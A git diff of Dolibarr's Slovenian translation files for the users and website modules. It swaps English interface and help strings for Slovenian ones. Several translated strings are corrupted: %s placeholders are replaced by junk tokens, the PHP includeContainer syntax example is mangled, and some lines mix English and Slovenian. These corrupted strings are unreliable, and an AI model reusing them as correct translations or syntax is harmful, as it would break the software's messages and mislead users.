+DefaultRights=Privzeta dovoljenja +DefaultRightsDesc=Tu določite privzeta dovoljenja , ki so samodejno dodeljena novemu uporabniku (če želite spremeniti dovoljenja za obstoječe uporabnike, pojdite na uporabniško kartico). DolibarrUsers=Dolibarr uporabniki LastName=Priimek FirstName=Ime @@ -45,14 +45,14 @@ NewGroup=Nova skupina CreateGroup=Kreiraj skupino RemoveFromGroup=Odstrani iz skupine PasswordChangedAndSentTo=Geslo spremenjeno in poslano %s. -PasswordChangeRequest=Request to change password for %s +PasswordChangeRequest=Zahteva za spremembo gesla za %s PasswordChangeRequestSent=Zahtevek za spremembo gesla %s poslan %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. -IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. -ConfirmPasswordReset=Confirm password reset +IfLoginExistPasswordRequestSent=Če je ta prijava veljaven račun (z veljavno e-pošto), je bilo poslano e-poštno sporočilo za ponastavitev gesla. +IfEmailExistPasswordRequestSent=Če je to e-poštno sporočilo veljaven račun, je bilo poslano e-poštno sporočilo za ponastavitev gesla. +ConfirmPasswordReset=Potrdite ponastavitev gesla MenuUsersAndGroups=Uporabniki & Skupine -LastGroupsCreated=Latest %s groups created -LastUsersCreated=Latest %s users created +LastGroupsCreated=Najnovejše ustvarjene skupine %s +LastUsersCreated=Zadnji ustvarjeni uporabniki %s ShowGroup=Prikaži skupino ShowUser=Prikaži uporabnika NonAffectedUsers=Nevključeni uporabniki @@ -62,27 +62,27 @@ ListOfUsersInGroup=Seznam uporabnikov v tej skupini ListOfGroupsForUser=Seznam skupin tega uporabnika LinkToCompanyContact=Povezava na partnerja / kontakt LinkedToDolibarrMember=Povezava do člana -LinkedToDolibarrUser=Link to user -LinkedToDolibarrThirdParty=Link to third party +LinkedToDolibarrUser=Povezava do uporabnika +LinkedToDolibarrThirdParty=Povezava do partnerja CreateDolibarrLogin=Kreiraj Dolibarr uporabnika CreateDolibarrThirdParty=Kreiraj partnerja -LoginAccountDisableInDolibarr=Račun v Dolibarrju onemogočen. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Uporabi osebne podatke -InternalUser=Interni uporabnik -ExportDataset_user_1=Users and their properties +ExportDataset_user_1=Uporabniki in njihove lastnosti DomainUser=Uporabnik domene %s Reactivate=Ponovno aktiviraj -CreateInternalUserDesc=This form allows you to create an internal user in your company/organization. To create an external user (customer, vendor etc. ..), use the button 'Create Dolibarr User' from that third-party's contact card. -InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. +CreateInternalUserDesc=Ta obrazec omogoča ustvarjanje internega uporabnika v vašem podjetju/organizaciji. Če želite ustvariti zunanjega uporabnika (kupca, dobavitelja itd.), uporabite gumb 'Ustvari uporabnika' na kontaktni kartici partnerja. +InternalExternalDesc=Interni uporabnik je uporabnik, ki je del vašega podjetja/organizacije ali je partnerski uporabnik zunaj vaše organizacije, ki bo morda potreboval več podatkov kot podatkov, povezanih z njegovim podjetjem (sistem dovoljenj bo določil, kaj sme oz. ne vidim ali delam).
      zunanji uporabnik je stranka, prodajalec ali druga oseba, ki si mora ogledati SAMO podatke, povezane z njim samim (zunanjega uporabnika za partnerja lahko ustvarite iz kontaktnega zapisa partnerja).

      V obeh primerih morate podeliti dovoljenja za funkcije, ki jih potrebuje uporabnik. PermissionInheritedFromAGroup=Dovoljenje dodeljeno zaradi podedovanja od druge uporabniške skupine. Inherited=Podedovan -UserWillBe=Created user will be +UserWillBe=Ustvarjen uporabnik bo UserWillBeInternalUser=Kreiran uporabnik bo interni uporabnik (ker ni povezan z določenim partnerjem) UserWillBeExternalUser=Kreiran uporabnik bo zunanji uporabnik (ker je povezan z določenim partnerjem) IdPhoneCaller=ID klicatelja po telefonu NewUserCreated=Uporabik %s je kreiran NewUserPassword=Sprememba gesla za %s -NewPasswordValidated=Your new password have been validated and must be used now to login. +NewPasswordValidated=Vaše novo geslo je potrjeno in ga morate zdaj uporabiti za prijavo. EventUserModified=Uporabnik %s je spremenjen UserDisabled=Uporabnik %s je onemogočen UserEnabled=Uporabnik %s je aktiviran @@ -90,37 +90,46 @@ UserDeleted=Uporabnik %s je odstranjen NewGroupCreated=Skupina %s je kreirana GroupModified=Skupina %s je spremenjena GroupDeleted=Skupina %s je odstranjena -ConfirmCreateContact=Are you sure you want to create a Dolibarr account for this contact? -ConfirmCreateLogin=Are you sure you want to create a Dolibarr account for this member? -ConfirmCreateThirdParty=Are you sure you want to create a third party for this member? +ConfirmCreateContact=Ali ste prepričani, da želite ustvariti račun Dolibarr za ta stik? +ConfirmCreateLogin=Ali ste prepričani, da želite ustvariti račun Dolibarr za tega člana? +ConfirmCreateThirdParty=Ali ste prepričani, da želite ustvariti partnerja za tega člana? LoginToCreate=Kreiranje uporabniškega imena NameToCreate=Kreiranje imena partnerja YourRole=Vaše vloge YourQuotaOfUsersIsReached=Dosežena je vaša kvota aktivnih uporabnikov ! -NbOfUsers=Number of users -NbOfPermissions=Number of permissions +NbOfUsers=Število uporabnikov +NbOfPermissions=Število dovoljenj DontDowngradeSuperAdmin=Samo superadmin lahko degradira samo superadmin HierarchicalResponsible=Nadzornik HierarchicView=Hierarhični pogled UseTypeFieldToChange=Uporabi polje "Vnos" za spremembo OpenIDURL=Spletni naslov OpenID LoginUsingOpenID=Uporabi OpenID za prijavo -WeeklyHours=Hours worked (per week) -ExpectedWorkedHours=Expected hours worked per week +WeeklyHours=Delovne ure (na teden) +ExpectedWorkedHours=Pričakovano število opravljenih ur na teden ColorUser=Barve uporabnika DisabledInMonoUserMode=Izklopljeno v načinu vzdrževanja -UserAccountancyCode=User accounting code -UserLogoff=User logout -UserLogged=User logged -DateOfEmployment=Employment date -DateEmployment=Employment -DateEmploymentstart=Employment Start Date -DateEmploymentEnd=Employment End Date -RangeOfLoginValidity=Access validity date range -CantDisableYourself=You can't disable your own user record -ForceUserExpenseValidator=Force expense report validator -ForceUserHolidayValidator=Force leave request validator -ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of the user. Keep empty to keep this behaviour. -UserPersonalEmail=Personal email -UserPersonalMobile=Personal mobile phone -WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +UserAccountancyCode=Računovodska koda uporabnika +UserLogoff=Odjava uporabnika +UserLogged=Uporabnik prijavljen +DateOfEmployment=Datum zaposlitve +DateEmployment=Zaposlitev +DateEmploymentStart=Datum začetka zaposlitve +DateEmploymentEnd=Datum konca zaposlitve +RangeOfLoginValidity=Datumsko obdobje veljavnosti dostopa +CantDisableYourself=Svojega uporabniškega zapisa ne morete onemogočiti +ForceUserExpenseValidator=Vsili validator poročil o stroških +ForceUserHolidayValidator=Vsili validator zahtev za dopust +ValidatorIsSupervisorByDefault=Privzeto je validator nadzornik uporabnika. Pustite prazno, da ohranite to vedenje. +UserPersonalEmail=Osebni e-poštni naslov +UserPersonalMobile=Osebni mobilni telefon +WarningNotLangOfInterface=Opozorilo, to je glavni jezik, ki ga uporabnik govori, ne jezik vmesnika, ki ga je izbral. Če želite spremeniti jezik vmesnika, ki ga vidi ta uporabnik, pojdite na zavihek %s +DateLastLogin=Datum zadnje prijave +DatePreviousLogin=Datum prejšnje prijave +IPLastLogin=IP zadnja prijava +IPPreviousLogin=IP prejšnja prijava +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/sl_SI/website.lang b/htdocs/langs/sl_SI/website.lang index f0e2a16cf8c..0405c6a5dda 100644 --- a/htdocs/langs/sl_SI/website.lang +++ b/htdocs/langs/sl_SI/website.lang @@ -1,147 +1,157 @@ # Dolibarr language file - Source file is en_US - website Shortname=Koda -WebsiteSetupDesc=Create here the websites you wish to use. Then go into menu Websites to edit them. +WebsiteName=Ime spletne strani +WebsiteSetupDesc=Tukaj ustvarite spletna mesta, ki jih želite uporabljati. Nato pojdite v meni Spletna mesta, da jih uredite. DeleteWebsite=Izbriši spletno stran -ConfirmDeleteWebsite=Are you sure you want to delete this web site? All its pages and content will also be removed. The files uploaded (like into the medias directory, the ECM module, ...) will remain. -WEBSITE_TYPE_CONTAINER=Type of page/container -WEBSITE_PAGE_EXAMPLE=Web page to use as example -WEBSITE_PAGENAME=Page name/alias -WEBSITE_ALIASALT=Alternative page names/aliases -WEBSITE_ALIASALTDesc=Use here list of other name/aliases so the page can also be accessed using this other names/aliases (for example the old name after renaming the alias to keep backlink on old link/name working). Syntax is:
      alternativename1, alternativename2, ... -WEBSITE_CSS_URL=URL of external CSS file -WEBSITE_CSS_INLINE=CSS file content (common to all pages) -WEBSITE_JS_INLINE=Javascript file content (common to all pages) -WEBSITE_HTML_HEADER=Addition at bottom of HTML Header (common to all pages) -WEBSITE_ROBOT=Robot file (robots.txt) -WEBSITE_HTACCESS=Website .htaccess file -WEBSITE_MANIFEST_JSON=Website manifest.json file -WEBSITE_README=README.md file -WEBSITE_KEYWORDSDesc=Use a comma to separate values -EnterHereLicenseInformation=Enter here meta data or license information to fille a README.md file. if you distribute your website as a template, the file will be included into the temptate package. -HtmlHeaderPage=HTML header (specific to this page only) -PageNameAliasHelp=Name or alias of the page.
      This alias is also used to forge a SEO URL when website is ran from a Virtual host of a Web server (like Apacke, Nginx, ...). Use the button "%s" to edit this alias. -EditTheWebSiteForACommonHeader=Note: If you want to define a personalized header for all pages, edit the header on the site level instead of on the page/container. -MediaFiles=Media library -EditCss=Edit website properties -EditMenu=Edit menu -EditMedias=Edit medias -EditPageMeta=Edit page/container properties -EditInLine=Edit inline -AddWebsite=Add website -Webpage=Web page/container -AddPage=Add page/container +ConfirmDeleteWebsite=Ali ste prepričani, da želite izbrisati to spletno mesto? Odstranjene bodo tudi vse njegove strani in vsebina. Naložene datoteke (na primer v imenik medias, modul ECM, ...) bodo ostale. +WEBSITE_TYPE_CONTAINER=Vrsta strani/vsebnika +WEBSITE_PAGE_EXAMPLE=Spletna stran za primer +WEBSITE_PAGENAME=Ime/vzdevek strani +WEBSITE_ALIASALT=Nadomestna imena/vzdevki strani +WEBSITE_ALIASALTDesc=Tukaj uporabite seznam drugih imen/vzdevkov, tako da je mogoče do strani dostopati tudi s temi drugimi imeni/vzdevki (na primer staro ime po preimenovanju vzdevka, da povratna povezava na staro povezavo/ime še naprej deluje). Sintaksa je:
      alternativename1, alternativename2, ... +WEBSITE_CSS_URL=URL zunanje datoteke CSS +WEBSITE_CSS_INLINE=Vsebina datoteke CSS (skupna vsem stranem) +WEBSITE_JS_INLINE=Vsebina datoteke Javascript (skupna vsem stranem) +WEBSITE_HTML_HEADER=Dodatek na dnu glave HTML (skupno vsem stranem) +WEBSITE_ROBOT=Robot datoteka (robots.txt) +WEBSITE_HTACCESS=Datoteka .htaccess spletne strani +WEBSITE_MANIFEST_JSON=Datoteka manifest.json spletnega mesta +WEBSITE_KEYWORDSDesc=Vrednosti ločite z vejico +EnterHereReadmeInformation=Tukaj vnesite opis spletne strani. Če svoje spletno mesto distribuirate kot predlogo, bo datoteka vključena v paket temptate. +EnterHereLicenseInformation=Tukaj vnesite LICENCO kode spletnega mesta. Če svoje spletno mesto distribuirate kot predlogo, bo datoteka vključena v paket temptate. +HtmlHeaderPage=Glava HTML (samo za to stran) +PageNameAliasHelp=Ime ali vzdevek strani.
      Ta vzdevek se uporablja tudi za ponarejanje URL-ja SEO, ko se spletno mesto izvaja z navideznega gostitelja spletnega strežnika (kot je Apacke, Nginx, ...). Za urejanje tega vzdevka uporabite gumb " %s ". +EditTheWebSiteForACommonHeader=Opomba: Če želite definirati prilagojeno glavo za vse strani, uredite glavo na ravni spletnega mesta namesto na strani/vsebniku. +MediaFiles=Medijska knjižnica +EditCss=Uredite lastnosti spletnega mesta +EditMenu=Uredi meni +EditMedias=Urejanje medijev +EditPageMeta=Uredite lastnosti strani/vsebnika +EditInLine=Uredi v vrstici +AddWebsite=Dodaj spletno stran +Webpage=Spletna stran/vsebnik +AddPage=Dodaj stran/vsebnik PageContainer=Stran -PreviewOfSiteNotYetAvailable=The preview of your website %s is not yet available. You must first 'Import a full website template' or just 'Add a page/container'. -RequestedPageHasNoContentYet=Requested page with id %s has no content yet, or cache file .tpl.php was removed. Edit content of the page to solve this. -SiteDeleted=Web site '%s' deleted -PageContent=Page/Contenair -PageDeleted=Page/Contenair '%s' of website %s deleted -PageAdded=Page/Contenair '%s' added -ViewSiteInNewTab=View site in new tab -ViewPageInNewTab=View page in new tab -SetAsHomePage=Set as Home page -RealURL=Real URL -ViewWebsiteInProduction=View web site using home URLs -SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s -ExampleToUseInApacheVirtualHostConfig=Example to use in Apache virtual host setup: -YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org -CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s +PreviewOfSiteNotYetAvailable=Predogled vaše spletne strani %s še ni na voljo. Najprej morate ' uvoziti celotno predlogo spletnega mesta ' ali samo ' dodati stran/vsebnik '. +RequestedPageHasNoContentYet=Zahtevana stran z ID-jem %s še nima vsebine ali pa je bila predpomnilniška datoteka .tpl.php odstranjena. Uredite vsebino strani, da rešite to težavo. +SiteDeleted=Spletno mesto '%s' izbrisano +PageContent=Stran/Contenair +PageDeleted=Stran/Contenair '%s' spletnega mesta %s izbrisana +PageAdded=Dodana stran/Contenair '%s' +ViewSiteInNewTab=Ogled spletnega mesta v novem zavihku +ViewPageInNewTab=Ogled strani v novem zavihku +SetAsHomePage=Nastavi kot domačo stran +RealURL=Pravi URL +ViewWebsiteInProduction=Oglejte si spletno stran z domačimi URL-ji +Virtualhost=Virtualni gostitelj ali ime domene +VirtualhostDesc=Ime virtualnega gostitelja ali domene (na primer: www.mywebsite.com, mybigcompany.net, ...) +SetHereVirtualHost= Uporabite z Apache/NGinx/...
      Na svojem spletnem strežniku (Apache, Nginx, ...) ustvarite namenski navidezni gostitelj z omogočenim PHP in korenskim imenikom na
      a0ecb2f6zd807f109f +ExampleToUseInApacheVirtualHostConfig=Primer za uporabo pri nastavitvi virtualnega gostitelja Apache: +YouCanAlsoTestWithPHPS= Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s +YouCanAlsoDeployToAnotherWHP= Poganjajte svoje spletno mesto z drugim ponudnikom gostovanja Dolibarr
      Če v internetu nimate na voljo spletnega strežnika, kot je Apache ali NGinx, lahko izvozite in uvozite svoje spletno mesto v drug primerek Dolibarr, ki ga nudi drug ponudnik gostovanja Dolibarr in ki nudi popolno integracija z modulom Spletna stran. Seznam nekaterih ponudnikov gostovanja Dolibarr najdete na https://saas.dolibarr.org +CheckVirtualHostPerms=Preverite tudi, ali ima uporabnik navideznega gostitelja (na primer www-data) %s dovoljenja za datoteke v
      %s a0a65d071f6fc9z ReadPerm=Preberite -WritePerm=Write -TestDeployOnWeb=Test/deploy on web -PreviewSiteServedByWebServer=Preview %s in a new tab.

      The %s will be served by an external web server (like Apache, Nginx, IIS). You must install and setup this server before to point to directory:
      %s
      URL served by external server:
      %s -PreviewSiteServedByDolibarr=Preview %s in a new tab.

      The %s will be served by Dolibarr server so it does not need any extra web server (like Apache, Nginx, IIS) to be installed.
      The inconvenient is that the URLs of pages are not user friendly and start with the path of your Dolibarr.
      URL served by Dolibarr:
      %s

      To use your own external web server to serve this web site, create a virtual host on your web server that points on directory
      %s
      then enter the name of this virtual server in the properties of this website and click on the link "Test/Deploy on the web". -VirtualHostUrlNotDefined=URL of the virtual host served by external web server not defined -NoPageYet=No pages yet -YouCanCreatePageOrImportTemplate=You can create a new page or import a full website template -SyntaxHelp=Help on specific syntax tips -YouCanEditHtmlSourceckeditor=You can edit HTML source code using the "Source" button in editor. -YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      +WritePerm=Pišite +TestDeployOnWeb=Test/uvedba v spletu +PreviewSiteServedByWebServer= Predogled %s v novem zavihku.

      %s bo stregel zunanji spletni strežnik (kot je Apache, Nginx, IIS). You must install and setup this server before to point to directory:
      %s
      URL served by external server:
      %s +PreviewSiteServedByDolibarr= Predogled %s v novem zavihku.

      %s bo stregel strežnik Dolibarr, tako da ne potrebuje dodatnega spletnega strežnika (kot je Apache, Nginx, IIS), ki ga je treba namestiti.
      Neprijetno je, da URL-ji strani niso uporabniku prijazni in se začnejo s potjo vašega Dolibarrja.
      URL served by Dolibarr:
      %s

      To use your own external web server to serve this web site, create a virtual host on your web server that points on directory
      %s
      then enter the name of this virtual server v lastnostih tega spletnega mesta in kliknite na povezavo "Preizkusi/Uvedi v spletu". +VirtualHostUrlNotDefined=URL virtualnega gostitelja, ki ga streže zunanji spletni strežnik, ni definiran +NoPageYet=Ni še nobene strani +YouCanCreatePageOrImportTemplate=Ustvarite lahko novo stran ali uvozite celotno predlogo spletnega mesta +SyntaxHelp=Pomoč pri posebnih nasvetih glede sintakse +YouCanEditHtmlSourceckeditor=Izvorno kodo HTML lahko urejate z gumbom "Vir" v urejevalniku. +YouCanEditHtmlSource=
      V ta vir lahko vključite kodo PHP z oznakami <?php ?> . Na voljo so naslednje globalne spremenljivke: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      Vsebino druge strani/vsebnika lahko vključite tudi z naslednjo sintakso:
      a03900df7d31ecz_0?php includeascontainer_of_0?php ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/ ]ime.ext">
      Za datoteko v dokumentih/medijih (odprt imenik za javni dostop) je sintaksa:
      <a href= "/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href=" /document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . -ClonePage=Clone page/container -CloneSite=Clone site -SiteAdded=Website added -ConfirmClonePage=Please enter code/alias of new page and if it is a translation of the cloned page. -PageIsANewTranslation=The new page is a translation of the current page ? -LanguageMustNotBeSameThanClonedPage=You clone a page as a translation. The language of the new page must be different than language of source page. -ParentPageId=Parent page ID -WebsiteId=Website ID -CreateByFetchingExternalPage=Create page/container by fetching page from external URL... -OrEnterPageInfoManually=Or create page from scratch or from a page template... -FetchAndCreate=Fetch and Create -ExportSite=Export website -ImportSite=Import website template -IDOfPage=Id of page -Banner=Banner -BlogPost=Blog post -WebsiteAccount=Website account -WebsiteAccounts=Website accounts -AddWebsiteAccount=Create web site account -BackToListForThirdParty=Back to list for the third-party -DisableSiteFirst=Disable website first -MyContainerTitle=My web site title -AnotherContainer=This is how to include content of another page/container (you may have an error here if you enable dynamic code because the embedded subcontainer may not exists) -SorryWebsiteIsCurrentlyOffLine=Sorry, this website is currently off line. Please comme back later... -WEBSITE_USE_WEBSITE_ACCOUNTS=Enable the web site account table -WEBSITE_USE_WEBSITE_ACCOUNTSTooltip=Enable the table to store web site accounts (login/pass) for each website / third party -YouMustDefineTheHomePage=You must first define the default Home page -OnlyEditionOfSourceForGrabbedContentFuture=Warning: Creating a web page by importing an external web page is reserved for experienced users. Depending on the complexity of source page, the result of importation may differ from the original. Also if the source page uses common CSS styles or conflicting javascript, it may break the look or features of the Website editor when working on this page. This method is a quicker way to create a page but it is recommended to create your new page from scratch or from a suggested page template.
      Note also that the inline editor may not works correclty when used on a grabbed external page. -OnlyEditionOfSourceForGrabbedContent=Only edition of HTML source is possible when content was grabbed from an external site -GrabImagesInto=Grab also images found into css and page. -ImagesShouldBeSavedInto=Images should be saved into directory -WebsiteRootOfImages=Root directory for website images -SubdirOfPage=Sub-directory dedicated to page -AliasPageAlreadyExists=Alias page %s already exists -CorporateHomePage=Corporate Home page -EmptyPage=Empty page -ExternalURLMustStartWithHttp=External URL must start with http:// or https:// -ZipOfWebsitePackageToImport=Upload the Zip file of the website template package -ZipOfWebsitePackageToLoad=or Choose an available embedded website template package -ShowSubcontainers=Show dynamic content -InternalURLOfPage=Internal URL of page -ThisPageIsTranslationOf=This page/container is a translation of -ThisPageHasTranslationPages=This page/container has translation -NoWebSiteCreateOneFirst=No website has been created yet. Create one first. -GoTo=Go to -DynamicPHPCodeContainsAForbiddenInstruction=You add dynamic PHP code that contains the PHP instruction '%s' that is forbidden by default as dynamic content (see hidden options WEBSITE_PHP_ALLOW_xxx to increase list of allowed commands). -NotAllowedToAddDynamicContent=You don't have permission to add or edit PHP dynamic content in websites. Ask permission or just keep code into php tags unmodified. -ReplaceWebsiteContent=Search or Replace website content -DeleteAlsoJs=Delete also all javascript files specific to this website? -DeleteAlsoMedias=Delete also all medias files specific to this website? -MyWebsitePages=My website pages -SearchReplaceInto=Search | Replace into -ReplaceString=New string -CSSContentTooltipHelp=Enter here CSS content. To avoid any conflict with the CSS of the application, be sure to prepend all declaration with the .bodywebsite class. For example:

      #mycssselector, input.myclass:hover { ... }
      must be
      .bodywebsite #mycssselector, .bodywebsite input.myclass:hover { ... }

      Note: If you have a large file without this prefix, you can use 'lessc' to convert it to append the .bodywebsite prefix everywhere. -LinkAndScriptsHereAreNotLoadedInEditor=Warning: This content is output only when site is accessed from a server. It is not used in Edit mode so if you need to load javascript files also in edit mode, just add your tag 'script src=...' into the page. -Dynamiccontent=Sample of a page with dynamic content -ImportSite=Import website template -EditInLineOnOff=Mode 'Edit inline' is %s -ShowSubContainersOnOff=Mode to execute 'dynamic content' is %s -GlobalCSSorJS=Global CSS/JS/Header file of web site -BackToHomePage=Back to home page... -TranslationLinks=Translation links -YouTryToAccessToAFileThatIsNotAWebsitePage=You try to access to a page that is not available.
      (ref=%s, type=%s, status=%s) -UseTextBetween5And70Chars=For good SEO practices, use a text between 5 and 70 characters -MainLanguage=Main language -OtherLanguages=Other languages -UseManifest=Provide a manifest.json file -PublicAuthorAlias=Public author alias -AvailableLanguagesAreDefinedIntoWebsiteProperties=Available languages are defined into website properties -ReplacementDoneInXPages=Replacement done in %s pages or containers +YouCanEditHtmlSource2=Za sliko, ki je v skupni rabi s povezavo za skupno rabo (odprt dostop z uporabo zgoščenega ključa za skupno rabo datoteke), je sintaksa:
      <img src="/viewimage.php?hashp=12345679012..."a0012c7dcbe087fcc0 a0a6f0fda39z071f +YouCanEditHtmlSourceMore=
      Več primerov HTML ali dinamične kode je na voljo na dokumentaciji wiki
      . +ClonePage=Kloniraj stran/vsebnik +CloneSite=Kloniraj spletno mesto +SiteAdded=Dodano spletno mesto +ConfirmClonePage=Vnesite kodo/vzdevek nove strani in če gre za prevod klonirane strani. +PageIsANewTranslation=Je nova stran prevod trenutne strani? +LanguageMustNotBeSameThanClonedPage=Klonirate stran kot prevod. Jezik nove strani se mora razlikovati od jezika izvorne strani. +ParentPageId=ID nadrejene strani +WebsiteId=ID spletnega mesta +CreateByFetchingExternalPage=Ustvarite stran/vsebnik tako, da pridobite stran z zunanjega URL-ja ... +OrEnterPageInfoManually=Ali ustvarite stran iz nič ali iz predloge strani ... +FetchAndCreate=Pridobi in ustvari +ExportSite=Izvozno spletno mesto +ImportSite=Uvoz predloge spletnega mesta +IDOfPage=ID strani +Banner=Pasica +BlogPost=Objava na blogu +WebsiteAccount=Račun spletnega mesta +WebsiteAccounts=Računi spletnih mest +AddWebsiteAccount=Ustvari račun spletnega mesta +BackToListForThirdParty=Nazaj na seznam partnerjev +DisableSiteFirst=Najprej onemogočite spletno mesto +MyContainerTitle=Naslov moje spletne strani +AnotherContainer=Tako vključite vsebino druge strani/vsebnika (tu lahko pride do napake, če omogočite dinamično kodo, ker vdelani podvsebnik morda ne obstaja) +SorryWebsiteIsCurrentlyOffLine=Oprostite, to spletno mesto trenutno ni na spletu. Prosim, vrni se kasneje ... +WEBSITE_USE_WEBSITE_ACCOUNTS=Omogoči tabelo računov spletnega mesta +WEBSITE_USE_WEBSITE_ACCOUNTSTooltip=Omogočite tabelo za shranjevanje računov spletnega mesta (prijava/geslo) za vsako spletno mesto/tretjo osebo +YouMustDefineTheHomePage=Najprej morate določiti privzeto domačo stran +OnlyEditionOfSourceForGrabbedContentFuture=Opozorilo: Ustvarjanje spletne strani z uvozom zunanje spletne strani je rezervirano za izkušene uporabnike. Odvisno od kompleksnosti izvorne strani se lahko rezultat uvoza razlikuje od izvirnika. Tudi če izvorna stran uporablja običajne sloge CSS ali nasprotujoč si javascript, lahko pri delu na tej strani pokvari videz ali funkcije urejevalnika spletnega mesta. Ta metoda je hitrejši način za ustvarjanje strani, vendar je priporočljivo, da svojo novo stran ustvarite od začetka ali iz predlagane predloge strani.
      Upoštevajte tudi, da vgrajeni urejevalnik morda ne bo deloval pravilno, če ga uporabljate na prejeti zunanji strani. +OnlyEditionOfSourceForGrabbedContent=Možna je le izdaja vira HTML, če je bila vsebina povzeta z zunanjega mesta +GrabImagesInto=Zgrabite tudi slike, ki jih najdete v css in strani. +ImagesShouldBeSavedInto=Slike je treba shraniti v imenik +WebsiteRootOfImages=Korenski imenik za slike spletnih mest +SubdirOfPage=Podimenik, namenjen strani +AliasPageAlreadyExists=Alias stran %s že obstaja +CorporateHomePage=Domača stran podjetja +EmptyPage=Prazna stran +ExternalURLMustStartWithHttp=Zunanji URL se mora začeti s http:// ali https:// +ZipOfWebsitePackageToImport=Naložite datoteko Zip paketa predlog spletnega mesta +ZipOfWebsitePackageToLoad=ali Izberite razpoložljiv vdelani paket predlog spletnega mesta +ShowSubcontainers=Prikaži dinamično vsebino +InternalURLOfPage=Notranji URL strani +ThisPageIsTranslationOf=Ta stran/vsebnik je prevod +ThisPageHasTranslationPages=Ta stran/vsebnik ima prevod +NoWebSiteCreateOneFirst=Izdelana še ni bila nobena spletna stran. Najprej ga ustvarite. +GoTo=Pojdi do +DynamicPHPCodeContainsAForbiddenInstruction=Dodate dinamično kodo PHP, ki vsebuje navodilo PHP ' %s ', ki je privzeto prepovedano kot dinamična vsebina (glejte skrite možnosti WEBSITE_PHP_ALLOW_xxx za povečanje seznama dovoljenih ukazov). +NotAllowedToAddDynamicContent=Nimate dovoljenja za dodajanje ali urejanje dinamične vsebine PHP na spletnih mestih. Prosite za dovoljenje ali samo pustite kodo v oznakah php nespremenjeno. +ReplaceWebsiteContent=Iskanje ali zamenjava vsebine spletnega mesta +DeleteAlsoJs=Ali želite izbrisati tudi vse datoteke javascript, specifične za to spletno mesto? +DeleteAlsoMedias=Ali želite izbrisati tudi vse predstavnostne datoteke, specifične za to spletno mesto? +MyWebsitePages=Moje spletne strani +SearchReplaceInto=Iskanje | Zamenjaj v +ReplaceString=Nova vrvica +CSSContentTooltipHelp=Tukaj vnesite vsebino CSS. Da bi se izognili kakršnim koli navzkrižjem s CSS aplikacije, pred vse deklaracije dodajte razred .bodywebsite. For example:

      #mycssselector, input.myclass:hover { ... }
      must be
      .bodywebsite #mycssselector, .bodywebsite input.myclass:hover { ... }

